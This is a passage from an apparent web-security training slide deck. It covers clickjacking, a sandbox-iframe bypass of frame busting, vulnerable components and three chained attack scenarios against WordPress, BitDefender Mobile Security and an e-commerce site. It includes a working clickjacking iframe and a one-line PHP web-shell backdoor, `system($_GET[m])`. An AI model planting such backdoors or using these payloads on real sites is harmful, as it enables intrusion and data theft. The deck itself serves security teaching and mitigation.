    Use JavaScript iframe busting techniques : <script type="text/javascript"> //Disable frame hijacking //Check if our website is the top one not the child if (top != self) //if the website is not the top one, change the browser location to our main url top.location.href = location.href; </script>
  89. 9. Click jacking AKA UI Redressing But Is that enough

    ?!
  90. 9. Click jacking AKA UI Redressing You’re right, This could

    be bypassed ! Modern browsers supports HTML5 with a lot of attributes, One of them called “sandbox” which is when it’s value equals “allow- forms” will be responsible for disabling all the JavaScript in the targeted page but here is the magic, All the FROMS will work properly. <html><body> <iframe id="clickjacking" src=“https://www.VulnerableDomain.com" width="700" height="500" sandbox="allow-forms"> </iframe></body> </html> The best mitigation? -Add the X-Frame-Options HTTP Header and set it's value to "DENY" or “SAMEORIGIN" choose the best suitable for you. <IfModule mod_headers.c> # Apache Server Clickjacking Mitigation # SAMEORIGIN or DENY you can use any of them according to your usage/usability Header always append X-Frame-Options SAMEORIGIN </IfModule>
  91. 10. Using Components with Known Vulnerabilities Introduction This kind of

    bugs is so clear, You will be hardly vulnerable if you’re using any components with a known vulnerabilities! Components like “Frameworks”, “Libraries”, “CMS”, “Plugins”, “Themes”, etc… Where can I search for the known vulnerabilities? - MITRE > Provides and identify all the known vulnerabilities with CVE numbers (Common Vulnerabilities and Exposures). - NIST > National Institute of Standards and Technology. - CVE > Common Vulnerabilities and Exposures. - CVSS > Common Vulnerability Scoring System. - NVD > National Vulnerability Database.
  92. 10. Using Components with Known Vulnerabilities Mitigation and Prevention: -Identify

    all components and the versions you are using, including all dependencies. (e.g., the plugins versions). -Monitor the security of these components in previous public mentioned databases, project mailing lists, and security mailing lists, and keep them up to date. -Custom security tests and code reviews. -Disable unused functionality and/ or secure weak or vulnerable aspects of the component.
  93. Shit in the MIX

  94. Combo #1 : From XSS, CSRF to RCE The attack

    scenario: 1- A script is vulnerable to CSRF. 2- This RCE is only exploitable only if you're admin. 3- So normal users can't exploit it. 4- The script is also vulnerable to persistent XSS. 5- The Attacker exploited the stored xss vulnerability. 6- The admin is reviewing his panel. 7- The stored xss vulnerability was reflected on the admin's panel. 8- The admin got XSSed with a JavaScript attack vector. 9- The admin can edit the script's PHP files but the edit option is protected against CSRF attacks. 10- The stored xss payload is used to read the Anti-CSRF token value and perform a CSRF attack to edit a specific php file to add a mini php backdoor. 11- This file was publicly accessible (passive users can access the file) 12- The backdoor added was <?php system($_GET[m]);?> 13- Now the attacker will have full command execution scenario just by calling "vulnerable_file.php?m=whoami" 14- Boom
  95. Guess what!!! The Vulnerable Script was WordPress

  96. Combo #2 : From Open Redirection, Improper hashing implementation, Information

    Leakage to Full Account Takeover The Attack scenario: 1. Open Redirection Vulnerability in the service facebook app. 2. The open redirection returns with a 3 critical parameters (token, passmd5, login). 3. Attacker wrote a little grabbing script to steal these 3 critical parameters. 4. Guess what? Password was encrypted in MD5 and sent via GET request. 5. Thanks to the bad encrypt implementation, attacker don't need to crack the password to login. 6. Attacker will pass these 3 parameters to the login vulnerable backend. 7. Attacker is now owned the Victim's account. 8. Boom.
  97. The Service was BitDefender Mobile Security

  98. Combo #3 : Information Disclosure, Social Engineering, CSRF, XSS, SQLi

    to Full Customer Data Compromise Company Name: X e-Commerce Company The Attack scenario: 1. The Attacker got some valuable information about the web technology used by the company (information gathering). 2. This technologies are behind a firewall and only accessible through VPN with a proper access control. 3. The Attacker tricked an internal employee that he have an issue with an order. 4. The Attacker sent the employee an email contains some links. 5. Due to the insufficient security awareness, the employee clicked the link which seems something interested. 6. The link leads to a well coded exploit scenario. 7. The e-commerce backend was vulnerable to CSRF attack. 8. The CSRF attack forced the employee to edit order information and store an XSS payload in the orders table. 9. Orders table is accessible by the administrator. 10. The Administrator was reviewing the orders table. 11. The payload injected was to inject a very special JS library. 12. The special library was BeEF with the powerful reverse JS connection. 13. The Admin left his PC opened but fortunately the browser still on the vulnerable orders page. 14. The Attacker had the time to send http requests examining the backend for SQL Injection vulnerability. 15. The Attacker found a SQL Injection vulnerability. 16. The Attacker now could be able to dump some data and send it back to his own server. 17. Boom.
  99. BeEF – The Browser Exploitation Framework Project Figure (0) -

    BeEF with a hooked browser reverse connection via Stored XSS
  100. References:  http://www.sitepoint.com/stored-procedures-mysql-php/  https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet  https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet  http://www.acros.si/papers/session_fixation.pdf 

    http://fishbowl.pastiche.org/archives/docs/PasswordRecovery.pdf  http://hakipedia.com/index.php/Poison_Null_Byte  https://www.youtube.com/watch?v=pYCzuq7cptI  https://www.youtube.com/watch?v=tvx-le_xCW0  https://www.youtube.com/watch?v=vTYUM3J8I_k  https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options  https://www.owasp.org/index.php/ESAPI  http://www.w3schools.com/tags/att_iframe_sandbox.asp  http://www.youtube.com/watch?v=QMquAVIV8Ys  http://beefproject.com/  https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API  https://www.owasp.org/index.php/OWASP_Validation_Regex_Repository